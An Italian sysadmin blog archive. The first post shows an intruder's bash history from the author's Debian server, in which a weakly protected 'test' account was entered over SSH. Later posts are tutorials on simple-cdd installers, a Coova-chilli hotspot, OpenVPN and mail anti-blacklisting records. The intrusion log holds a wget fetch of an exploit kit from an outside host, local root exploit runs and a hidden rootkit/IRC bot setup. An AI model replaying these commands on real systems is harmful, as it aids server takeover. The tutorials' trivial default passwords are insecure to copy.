Author Archives: Luca

./fuck – Ovvero: forse non ce l’hai fatta a bucarmi la Debian

Geek PowerQuesto server va a morire la settimana prossima. Ne prenderò uno un po’ più potente e voglio provare un altro provider. Vi farò sapere le mie impressioni.

Sto anche facendo un restyling del sito, e dato che serviva un accesso FTP ed io avevo fretta, ho installato proftpd e ho creato un utente “test”, password “test”, per poter far entrare il mio web designer.

Essendo anche un utente di sistema, l’accesso era possibile via SSH. E’ bastato qualche giorno che un hackerino è “riuscito” ad entrare, probabilmente grazie ad uno script kiddies, e ha tentato di rootarmi la Debian.

Com’è andata? Giudicatelo voi:

cat /var/www/test.lucarossi.info/.bash_history
uname -a
/sbin/ifconfig | grep inet -w
ps -x
history
w
who
passwd
passwd
passwd
uname -a
ls
cd /tmp/
ls
wget freewebtown.com/miaumiau/2010.tgz
tar xzvf 2010.tgz
cd 2010
ls
./x86
./0x82 (questa roba è vecchia di ANNI!)
./2009
./2009.c (questa è fantastica)
./run
id
./exploit.c (sublime!!)
ls -a
./run
id
ls -a
cd /home/
ls
ls -a
su ftp
su luca (prrr)
id
cd ..
ls
cd /tmp/
ls -a
ls
cd .ICE-unix/
ls
tar xzvf psyro.tgz.gz
cd .
cd .access.log/
ls
./config maka 6667
./run
./fuck
cd ..
ls
rm -rf psyro.tgz.gz (non hai cancellato un tubo..)
passwd

il ./fuck alla fine non promette niente di nuovo per il poveretto. Proverò ad installare il rootkit che ho trovato in /tmp ma presumo che non funzioneranno. Dopodiché ha cambiato la password ed io ho potuto beccarlo immediatamente.

Che dire? Ai miei tempi noi hackerini s’era molto più svegli!

Come creare un installer Debian personalizzato: simple-ccd

Debian LogoPiccolo tutorial che spiega come utilizzare simple-ccd, un tool che consente la creazione di un DVD/CD di installazione personalizzato.

Ultimamente ho dovuto creare un CD di installazione automatico da poter distribuire agli utenti e contentente dei programmi proprietari con licenza shareware.
Ho quindi scelto Debian come distribuzione, sopratutto perché ha a disposizione un tool molto potente e personalizzabile: simple-cdd.

Simple-cdd è un set di script che permette la creazione di CD/DVD di installazione personalizzati ed automatici. Vediamo un po’ come funziona.

Per prima cosa installiamo il programma:

apt-get install build-simple-cdd

dopodiché creiamo una nuova directory nella nostra home:

mkdir $HOME/ccd

ci entriamo:

cd $HOME/ccd

e lanciamo subito il nostro nuovo tool:

build-simple-ccd

lanciato così senza paramentri, lo script creerà un installer di base, che installerà un sistema operativo privo di qualsivoglia pacchetto. Durante l’esecuzione, build-simple-cdd creerà un mirror parziale nella directory tmp/ e, se tutto è andato bene, troverete la nuova immagine nella directory images/

Le opzioni principali di Simple-cdd

Proviamo ora ad utilizzare qualche opzione:

in caso vogliate utilizzare un mirror specifico per il download dei pacchetti, potete speficarlo con l’opzione –debian-mirror:

build-simple-cdd --debian-mirror http://debian.fastweb.it/debian

di default, lo script creerà un installer della stessa release della macchina host, in caso vogliate utilizzare un’altra release (ad esempio Lenny) potete utilizzare l’opzione –dist:

build-simple-cdd --debian-mirror http://debian.fastweb.it/debian --dist lenny

Utilizzare i profili con Simple-cdd

Il grande pregio di simple-cdd è la possibilità di creare delle installazioni altamente personalizzabili grazie all’utilizzo di profili caricabili in fase di setup. Vediamo un po’ come funzionano:

creiamo una directory chiamata “profiles” e ci entriamo:

mkdir ./profiles
cd ./profiles

creiamo poi un file chiamato default.packages e lo editiamo inserendoci tutti i pacchetti che vogliamo installare automaticamente:

vi default.packages
# inserisco i pacchetti che mi servono, ma non le dipendenze!

openssh
less
openssl
apache2
mysql-server
freeradius

ricreiamo poi l’immagine con il profilo selezionato:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny

Questo comando ricostruirà la vostra immagine includendo il profilo che avete appena creato.

in caso vogliate provare l’immagine con qemu, c’è l’opzione –qemu apposita per costruire un immagine già pronta per l’emulatore:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny --qemu

L’utilizzo di Preseed

Con simple-cdd è possibile utilizzare i file di preseed.
I file di preseed sono dei file di testo contenenti le risposte alle domande che vengono poste in fase di installazione. Grazie a questi sarà possibile non inserire i dati manualmente mentre l’installazione è in esecuzione.

Vediamo un po’ come implementarle nella nostra immagine personalizzata:

creiamo un file chiamato “default.preseed” e lo editiamo:

vim default.preseed

dentro ci inseriremo alcune info utili alla nostra installazione:

# informazioni sulla rete

# la rete viene configurata secondo i parametri qui esposti e viene disabilitato il DHCP
d-i netcfg/disable_dhcp boolean true
d-i netcfg/get_nameservers string 10.0.69.254
d-i netcfg/get_ipaddress string 10.0.69.234
d-i netcfg/get_netmask string 255.255.255.0
d-i netcfg/get_gateway string 10.0.69.254
d-i netcfg/confirm_static boolean true
d-i netcfg/get_hostname string astTron
d-i netcfg/get_domain string localdomain
d-i netcfg/wireless_wep string

# timezone, package mirror e locale

d-i mirror/country string manual
d-i mirror/http/hostname string http.debian.fastweb.it
d-i mirror/http/directory string /debian
d-i mirror/http/proxy string

d-i clock-setup/utc boolean true
d-i time/zone string Europe/Rome
tzsetup-udeb    time/zone       select  Europe/Rome

d-i clock-setup/ntp boolean true
d-i clock-setup/ntp-server string time.ien.it

# informazioni sulla partizione

d-i partman-auto/method string regular
d-i partman-auto/choose_recipe select atomic
d-i partman/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true

# password di root

d-i passwd/root-password password test
d-i passwd/root-password-again password test

user-setup-udeb passwd/root-password password test
user-setup-udeb passwd/root-password-again password test

# configurazione di un nuovo utente

d-i passwd/user-fullname string Utente di Amministrazione
d-i passwd/username string adminuser
d-i passwd/user-password password test
d-i passwd/user-password-again password test

user-setup-udeb passwd/user-fullname string Utente di Amministrazione
user-setup-udeb passwd/username string adminuser
user-setup-udeb passwd/user-password password test
user-setup-udeb passwd/user-password-again password test

# configurazione di apt

d-i apt-setup/non-free boolean true
d-i apt-setup/contrib boolean true

d-i apt-setup/services-select multiselect security, volatile
d-i apt-setup/security_host string security.debian.org

d-i apt-setup/volatile_host string volatile.debian.org

# configurazione mysql

mysql-server-5.0 mysql-server/root_password string
mysql-server-5.0 mysql-server/root_password seen true
mysql-server-5.0 mysql-server/root_password_again string
mysql-server-5.0 mysql-server/root_password_again seen true
mysql-server-5.0 mysql-server/root_password password test
mysql-server-5.0 mysql-server/root_password_again password test

# popularity contest
popularity-contest popularity-contest/participate boolean false

# installazione del boot loader

d-i grub-installer/only_debian boolean true
d-i finish-install/reboot_in_progress note

ricostruiamo infine l’immagine con:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny

In questa maniera, gran parte delle informazioni richieste in fase di installazione saranno già incluse nella vostra ISO.

In caso abbiate dei pacchetti costruiti da voi e vogliate includerli nella vostra ISO, dovete creare la directory package in $HOME/cdd

mkdir $HOME/cdd/packages

dove dentro metterete i vostri pacchetti. Aggiungerete poi i il nome dei pacchetti anche nel file default.packages. Infine ricostruirete la vistra ISO con l’opzione –local-packages $HOME/cdd/packages:

build-simple-cdd –profiles default –debian-mirror http://debian.fastweb.it/debian –dist lenny –local-packages $HOME/cdd/packages

Un po’ di info

Potete trovare molte altre informazioni sull’utilizzo di simple-cdd nel sito debian:

http://wiki.debian.org/Simple-CDD/Howto
http://wiki.debian.org/DebianInstaller/Preseed

e nelle directory

/usr/share/doc/simple-cdd/

/usr/share/simple-cdd/

Creazione di Un Hotspot Wifi con Coova-chilli e scheda Atheros

Avete a disposizione un PC con una scheda Wifi Atheros e volete installare un hotspot con autenticazione username/password? Fatelo con Ubuntu Linux!

Sono stato contattato per un progetto dedicato all’installazione di un sistema di hotspot Wifi scalabile basato su autenticazione username/password, con sistema di registrazione online.

Per iniziare a sviluppare la rete, ho dovuto crearmi una situazione simile a casa. Ho utilizzato il mio hardware a disposizione, e la mia connessione casalinga. Vale a dire, un Netbook Samsung N130 – con scheda Wifi Atheros AR9285 – e la mia ADSL. Per quanto riguarda il software, invece, mi sono servito dei seguenti programmi e tools:

  • Ubuntu come distribuzione Linux
  • Hostapd come programma di gestione dell’access point
  • Coova-chilli come sistema di accesso alla rete
  • Freeradius come sistema di autenticazione
  • MySQL come sistema di account
  • Apache come web server

Eccovi qui un how-to su come configuare correttamente i seguenti programmi per avere un sistema di hotspot funzionante.

Software necessario
Per prima cosa, naturalmente, dobbiamo avere un server Linux funzionante e connesso ad Internet. ho optato per Ubuntu (e non per la abituale Debian) perché Coova-Chilli ha già il pacchetto precompilato per Ubuntu 10.10. Non dovendo utilizzare una Linux Box come sistema finale (ma degli Open-WRT su router Linksys), ho optato per la comodità.

Aggiorniamo il sistema con:

apt-get update
apt-get upgrade

Installiamo il software:

apt-get install apache2 mysql-server php5 libapache2-mod-php5 freeradius freeradius-mysql dhcp3-server hostapd hostapd-utils libapache2-mod-auth-mysql ssl-cert

cd /tmp
wget http://ap.coova.org/chilli/coova-chilli_1.2.6_i386.deb
dpkg -i coova-chilli_1.2.6_i386.deb

Oltre a questo, abbiamo bisogno di un pacchetto chiamato haserl. Lo possiamo trovare qui. Una volta scaricato dobbiamo installare il compilatore GCC – se ancora non lo abbiamo nella macchina – e compilare il programma:

apt-get install gcc
tar xvf haserl-*.tar.gz
cd haserl-*/
./configure
make
make install

Configurazioni Preliminari
Una volta installato tutto il software necessario, passiamo alla configurazione dei servizi. La prima cosa da fare è la configurazione della rete e dell’access point. Assumiamo che l’accesso ad Internet sia fornito su interfaccia eth0 e l’IP dal DHCP. Andiamo quindi a modificare il file /etc/network/interfaces come segue:

vim /etc/network/interfaces
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto wlan0

Abilitiamo il port-forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf

Configurazione di Hostapd e Dhcp-server
Configuriamo hostapd:

vim /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=HotSpot
channel=6
ieee8021x=0

Dopodiché configuriamo il server dhcpd:

vim /etc/dhcp3/dhcpd.conf

e aggiungiamo:

subnet 10.0.1.0 netmask 255.255.255.0
{
range 10.0.1.100 10.0.1.200;
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.1.255;
option domain-name-servers 8.8.8.8,8.8.4.4;
option routers 10.0.1.1;
}

infine abilitiamo il server dhcpd per l’interfaccia virtuale tun0, che è quella che Coova-Chilli abiliterà e utilizzerà automaticamente.

vim /etc/default/dhcp3-server
INTERFACES="tun0"

Riavviamo il server dhcp:

/etc/init.d/dhcp-server restart

e testiamo la configurazione avviando il demone in foreground:

hostapd /etc/hostapd/hostapd.conf

Se siamo in grado di collegarci correttamente punto di accesso appena creato e riceviamo l’IP dal dhcp, chioudiamo il programma con Ctrl+C e avviamolo in background con:

/etc/init.d/hostapd start

Configurazione del server radius
Configuriamo ora il server radius per essere usato con un database mysql.
Creiamo il database:

mysql -u root
CREATE DATABASE radius;
quit

Lo popoliamo:

mysql -u root -p radius < /etc/freeradius/sql/mysql/schema.sql
mysql -u root -p radius < /etc/freeradius/sql/mysql/schema.sql
mysql -u root
GRANT ALL PRIVILEGES ON radius.* TO 'radius'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
quit

Diciamo a freeradius come utilizzare il database:

vim /etc/freeradius/sql.conf
server = "localhost"
login  = "radius"
password = "password"

Settiamo la password per il client di freeradius:

vim /etc/freeradius/clients.conf
client localhost {
ipaddr = 127.0.0.1
secret = radiuspassword
}

Testiamo adesso la corretta configurazione dell’ACL appena creata:

vim /etc/freeradius/users

decommentare le seguenti righe:

"John Doe"     Auth-Type := Local, User-Password == "hello"
Reply-Message = "Hello, %u"

A questo punto comproviamo la corretta inclusione dei file di configurazione avviando freeradius in foregrund:

/etc/init.d/freeradius stop
freeradius -XXX

Se tutto è andato bene, l’ultima linea stampata dovrà terminare con:

Debug: Ready to process requests.

Usciamo di nuovo da freeradius con Ctrl+C e lo avviamo di nuovo in background:

/etc/init.d/freeradius start

Eseguiamo allora una chiamata al radius per l’utente di test “John Doe”

radtest "John Doe" hello 127.0.0.1 0 radiuspassword

Se tutto è andato bene come risposta dovremmo ricevere:

Sending Access-Request of id 136 to 127.0.0.1 port 1812
User-Name = "John Doe"
User-Password = "hello"
NAS-IP-Address = 255.255.255.255
NAS-Port = 0
rad_recv: Access-Accept packet from host 127.0.0.1:1812, id=136, length=37
Reply-Message = "Hello, John Doe"

Se il test sopra ha funzionato, possiamo cambiare il backend di autorizzazione, da “files” a “sql”

vim /etc/freeradius/sites-available/default

e Cambiamo:

files con #files
#sql con sql

Aggiungiamo ora un utente di test al nostro database mysql:

echo "INSERT INTO radcheck (UserName, Attribute, Value) VALUES ('mysqltest', 'Password', 'test');" | mysql -u radius radius

Coova-chilli di default utilizza l’username ‘chillispot’ con password ‘chillispot’ per loggarsi al server radius. Dobbiamo quindi aggiungere anche questo utente nel database mysql:

echo "INSERT INTO radcheck (UserName, Attribute, Value) VALUES ('chillispot', 'Password', 'chillispot');" | mysql -u radius radius

Questa impostazione di trova nel file /etc/chilli/config

HS_ADMUSR=chillispot
HS_ADMPWD=chillispot

Riavviamo freeradius:

/etc/init.d/freeradius restart

Testiamo infine il corretto funzionamento di freeradius con backend mysql:

radtest mysqltest testsecret 127.0.0.1 0 radiuspassword
radtest chillispot chillispot 127.0.0.1 0 radiuspassword

Se tutto è andato bene, dovresti ricevere un output del genere:

Sending Access-Request of id 180 to 127.0.0.1 port 1812
User-Name = "mysqltest"
User-Password = "test"
NAS-IP-Address = 255.255.255.255
NAS-Port = 0
rad_recv: Access-Accept packet from host 127.0.0.1:1812, id=180, length=20

Configurazione di Coova-Chilli
Prima di tutto copiamo la configurazione di default di Coova-Chilli e Apache2:

cp /etc/chilli/defaults /etc/chilli/config
mkdir /var/www/hotspot
cd /var/www/hotspot
cp /etc/chilli/www/* /var/www/hotspot
mkdir /var/www/hotspot/images
cp /var/www/hotspot/coova.jpg /var/www/hotspot/images/
mkdir /var/www/hotspot/uam
cd /var/www/hotspot/uam
wget http://ap.coova.org/uam/
wget http://ap.coova.org/js/chilli.js

Modifichiamo il file index.html per dirgli di utilizzare chilli.js localmente (Coova-Chilli utilizza 10.1.0.1 come IP di esempio, e noi pure):

sed -i 's/ap.coova.org\/js\/chilli.js/10.1.0.1\/uam\/chilli.js/g' /var/www/hotspot/uam/index.html

Modifichiamo il file ChilliLibrary.js per dirgli di utilizzare l’IP corretto:

sed -i 's/192.168.182.1/10.1.0.1/g' /etc/chilli/www/ChilliLibrary.js
sed -i 's/192.168.182.1/10.1.0.1/g' /var/www/hotspot/ChilliLibrary.js

Abilitiamo Coova-Chilli all’avvio del sistema, che è disabilitato di default:

vim /etc/default/chilli
START_CHILLI=1
CONFFILE="/etc/chilli.conf"

e avviamo Coova-Chilli:

/etc/init.d/chilli start

A questo punto, se non si sono presentati errori, dobbiamo modificare la configurazione di Coova-Chilli. Il file di configurazione è /etc/chilli/config. per una configurazione basica basterà cambiare poche variabili:

vim /etc/chilli/config

e modifichiamo:

HS_WANIF=eth0
HS_LANIF=wlan0
HS_UAMSERVER=10.1.0.1

Dobbiamo anche modificare il file /etc/chilli/up.sh, in quanto è presente un bug che non configura correttamente iptables:

vim /etc/chilli/up.sh

E aggiungiamo alla fine del file:

[ -e "/var/run/chilli.iptables" ] && sh /var/run/chilli.iptables 2>/dev/null
iptables -I POSTROUTING -t nat -o $HS_WANIF -j MASQUERADE

Infine, riavviamo Coova-Chilli:

/etc/init.d/chilli restart

Configurazione di Apache2 e SSL
Dobbiamo ora creare una pagina di login. Coova-Chilli ne ha una di default che possiamo utilizzare:

mkdir -p /var/www/hotspot/cgi-bin
zcat -c /usr/share/doc/coova-chilli/hotspotlogin.cgi.gz | sudo tee /var/www/hotspot/cgi-bin/hotspotlogin.cgi
sudo chmod a+x /var/www/hotspot/cgi-bin/hotspotlogin.cgi

Modifichiamo ora lo script di login:

/var/www/hotspot/cgi-bin/hotspotlogin.cgi

e decommentiamo:

$uamsecret = "uamsecret";
$userpassword=1;

Passiamo ora alla configurazione di SSL:
Creiamo i certificati:

mkdir /etc/apache2/ssl
make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/apache2/ssl/apache.pem

Attiviamo SSL:

a2enmod ssl
/etc/init.d/apache2 restart

Creiamo ora un VirtualHost per il nostro hotspot:

vim /etc/apache2/sites-available/hotspot
NameVirtualHost 10.1.0.1:443

ServerAdmin [email protected]
DocumentRoot "/var/www/hotspot"
ServerName "10.1.0.1"

Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

Alias "/dialupadmin/" "/usr/share/freeradius-dialupadmin/htdocs/"

Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

ScriptAlias /cgi-bin/ /var/www/hotspot/cgi-bin/

AllowOverride None
Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all

ErrorLog /var/log/apache2/hotspot-error.log

LogLevel warn

CustomLog /var/log/apache2/hotspot-access.log combined

ServerSignature On
SSLEngine on
SSLCertificateFile /etc/apache2/ssl/apache.pem

Abilitiamo il nuovo virtualhost:

a2ensite hotspot
/etc/init.d/apache2 reload

A questo punto il vostro hotspot dovrebbe essere funzionante!
Provate ad agganciarvi alla vostra rete Wifi ed aprire qualunque pagina. Dovrebbe apparirvi la pagina di accesso di Coova-Chilli e poi la pagina di login.

Riferimenti

Installazione di OpenVPN su sistemi operativi Linux

openvpn logoIn quest’articolo vedremo come installare OpenVPN per mettere in comunicazione sicura una rete di PC attraverso internet.

OpenVPN è una soluzione Open Source che opera in user space, creando un tunnel point-to-point TCP over UDP che permette, come si vedrà nel corso di questo articolo, la creazione di VPN.

L’installazione su server Linux è abbastanza semplice, basta seguire alcuni passi qui descritti:

Azioni preliminari

Prima di tutto dobbiamo installare l’applicazione OpenVPN. Possiamo usare un gestore pacchetti oppure compilarlo dai sorgenti. In debian, per installarlo tramite APT possiamo dare il comando:

apt-get install openvpn

Dopodiché, il nostro server sarà già pronto per essere configurato.

Il primo step da eseguire è la creazone di una CA e delle chiavi necessarie per l’autenticazione. Per questo passo ci viene in aiuto un set di scripts che sono contenuti sia nel sorgente, sia nel pacchetto debian installato con APT: easy-rsa.

Per controllare se e dove abbiamo questi tools possiamo usare locate:

updatedb
locate easy-rsa

Normalmente li possiamo trovare in /usr/share/doc/openvpn

Una volta entrati sulla cartella easy-rsa/2.0, dobbiamo definire le variabili che gli scripts utilizzeranno per creare il nostro set di chiavi. Andremo quindi a modificare il file “vars” con le informazioni corrette. Se abbiamo tutte le dipendenze installate e correttamente funzionanti, dovremo solo modificare l’ultima parte dello script, che di default si predenta così:

export KEY_SIZE=1024
export KEY_COUNTRY="US"
export KEY_PROVINCE="CA"
export KEY_CITY="SanFrancisco"
export KEY_ORG="Fort-Funston"
export KEY_EMAIL="[email protected]"

Io personalmente preferisco usare una chiave a 2048, perché è più sicura, mentre per le altre variabili dovremo inserire i nostri dati.

Configurazione del server OpenVPN

Ora dobbiamo creare le chiavi che utilizzerà il server OpenVPN.

Sempre nella cartella easy-rsa/2.0,  inizializziamo le variabili con necessarie con:

. ./vars

e generiamo la CA e le chiavi con i seguenti comandi:

./build-ca
./build-key-server server #dove server è il nome del server openvpn
./build-dh

A questo punto le nostre chiavi e la nostra CA sono pronte e le possiamo copiare nella nostra directory di configurazione globale: /etc/openvpn

cp -Rp keys/ /etc/openvpn

E settare i permessi corretti:

chmod 700 /etc/openvpn/keys
chmod 600 /etc/openvpn/keys/server.key #giusto per eccesso di zelo

Infine dobbiamo creare il file di configurazione, eccone uno standard di esempio (vi consiglio una sbirciatina al manuale per capire a fondo il significato delle opzioni qui riportate e le altre):

port 1194 # Porta di OpenVPN
proto udp # Protocollo da usare: UDP è più veloce, ma TCP è più stabile in caso di connessioni degradate
dev tun # Adattatore virtuale da utilizzare
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/server.crt
key server.key  # Questo file dovrebbe rimanere segreto
dh /etc/openvpn/keys/dh1024.pem
server 192.168.34.0 255.255.255.0 # Network che OpenVPN utilizzerà per la sua rete
ifconfig-pool-persist ipp.txt # File dove vengono memorizzati gli IP dei client
push "route 192.168.34.0 255.255.255.0" # Regola di routing per la rete OpenVPN
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3

Per una maggiore compatibilità con gli script di avvio/arresto di OpenVPN, vi consiglio di posizionare il file in /etc/openvpn  e dargli come estensione .conf.

Se tutto è andato OK, potete avviare il vostro server OpenVPN:

/etc/init.d/openvpn restart

Configurazione del client OpenVPN

Per creare le chiavi ed il file di configurazione del client la procedura è abbastanza simile. Entreremo sempre in easy-rsa/2.0 (la stessa directory del server mi raccomando) e creiamo le chiavi:

. ./vars

./build-key username #dove username è il nome o l'host del vostro client

In questo modo, dentro keys troveremo le chiavi per il client appena creato. Quello che manca ora è creare il file di configurazione del client. Eccone un esempio:

client
dev tun
proto udp
remote host.del.server.openvpn 1194 # Dovrete inserire l'host del vostro server VPN
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt # File della CA
cert client.crt # Certificato del vostro client
key client.key # Chiave del vostro client
ns-cert-type server
comp-lzo
verb 3

A questo punto non dovrete far altro che recapitare le chiavi ed il file di configurazione al vostro client, perché possa provare ad utilizzare la vostra nuova rete privata virtuale.

Vi ricordo che per ogni utente che voi vogliate creare, la procedura descritta sopra è sempre valida.

RDNS, SPF, Dkim/Domainkeys – Come non andare in blacklist

mailboxConfigurare un mail server ottimizzato da un punto di vista sistemistico può non essere sufficiente per evitare dei blocchi antispam di terze parti. Ecco qualche tips per evitare di entrare in blacklist .

Avendo avuto a che fare con un server di posta con IP in blacklist su vari network antispam, mi sono deciso a scrivere una piccola guida per evitare problemi di recapito su alcuni dei provider di posta più famosi: Yahoo, Gmail e Hotmail. Spero che possano tornarvi utili.

Strumenti

Gli strumenti da utilizzare sono molteplici, alcuni poco digeribili. Vediamoli un po’ in dettaglio.

  • RDNS:
    è l’acronimo di Remote DNS, ed in parole povere sarebbe il record PTR dell’indirizzo IP del vostro mail server. I record PTR sono risoluzioni inverse del vostro nome a dominio. Un esempio può chiarirvi le idee:
    Il mio dominio ha IP 173.236.69.81
    <div id="_mcePaste">luca@monitor:~$ host lucarossi.info</div>
    <div id="_mcePaste">lucarossi.info          A       173.236.69.81</div>
    Il mio IP dovrà quindi risolvere lucarossi.info
    <div id="_mcePaste">luca@monitor:~$ host 173.236.69.81</div>
    <div id="_mcePaste">Name: lucarossi.info</div>
    <div id="_mcePaste">Address: 173.236.69.81</div>
    Se questo record è sbagliato, i vostri messaggi potrebbero essere direttamente scartati o marcati come junk mails.
    Normalmente, se avete server in affitto o VPS,  dovrete chiedere al vostro provider un cambio di record PTR, anche se normalmente gran parte dei ISP hanno la possibilità di farlo direttamente dal loro pannello di configurazione.
  • SPF e SenderID:
    sono degli strumenti antispam che, grazie a dei record DNS appositamente creati, riescono a definire il luogo dal quale è stata spedita una specifica e-mail. Utilizzando i record DNS infatti, SPF riesce ad indicare quali indirizzi IP possono essere usati dal mittente per spedire un’e-mail. Attualmente quasi tutti i grandi provider di posta implementano SPF nei loro server, e la pubblicazione dei record è altamente consigliata.  Le differenze tra SenderID e SPF sono poche, anche se non stiamo parlando del medesimo protocollo.  SenderID è un protocollo di Microsoft che deriva da SPF (è infatti utilizzato dai server hotmail).  Secondo quanto rilasciato da Microsoft, SPF implementerebbe anche le specifiche SenderID. È quindi consigliabile utilizzare il framework SPF invece che SenderID.
  • Dkim e DomainKeys:
    sono due sistemi utilizzati per la verifica del mittente, del dominio e dell’integrità del messaggio. Entrambi utilizzano una crittografia asimmetrica (cioè basata su chiave pubblica e chiave privata). La chiave pubblica viene fornita trame un record DNS e la chiave privata dal server SMTP che firmerà l’email in uscita.  Domainkeys è una tecnologia creata da Yahoo, ed al momento non viene più supportato. DKIM è lo strumento utilizzato attualmente. Due progetti attualmente attivi che implementano DKIM sono: Dkim-milter e OpenDkim. Entrambi funzionano bene e non ho trovato nessuna particolare differenza (solo per quanto riguarda le licenze).

Se Hotmail/MSN ci blocca

Può Capitare che le email che inviamo a destinatari Hotmail, Live o Msn ci blocchino o ci mettano in posta indesiderata. Nel primo caso, nel messaggio di errore 550 del server SMTP troverete un codice errore di Microsoft, controllate cosa c’è che non va in questa pagina.

Se hotmail si ostina a non voler recapitare la vostra posta, dovrete – dopo esservi assicurati che la votra configurazione sia corretta – compilare la pagina della richiesta di sblocco. Io sono stato rimosso dalla loro blacklist dopo circa 24 ore.

Utilizzare strumenti web

Lo strumento più comodo per verificare il corretto funzionamento dei vostri record, è controllare direttamente il sorgente delle email che inviate. Io normalmente uso Gmail. Invio a me stesso una mail di test a Gmail e controllo gli headers. Un esempiodi di header (a mio avviso) corretto è:

Authentication-Results: mx.google.com; spf=pass (google.com: domain of [email protected] designates xxx.xxx.xxx.xxx as permitted sender) [email protected]; dkim=pass [email protected]

Un altro strumento utile è MxToolbox, si usa per controllare se siete finiti in qualche blacklist.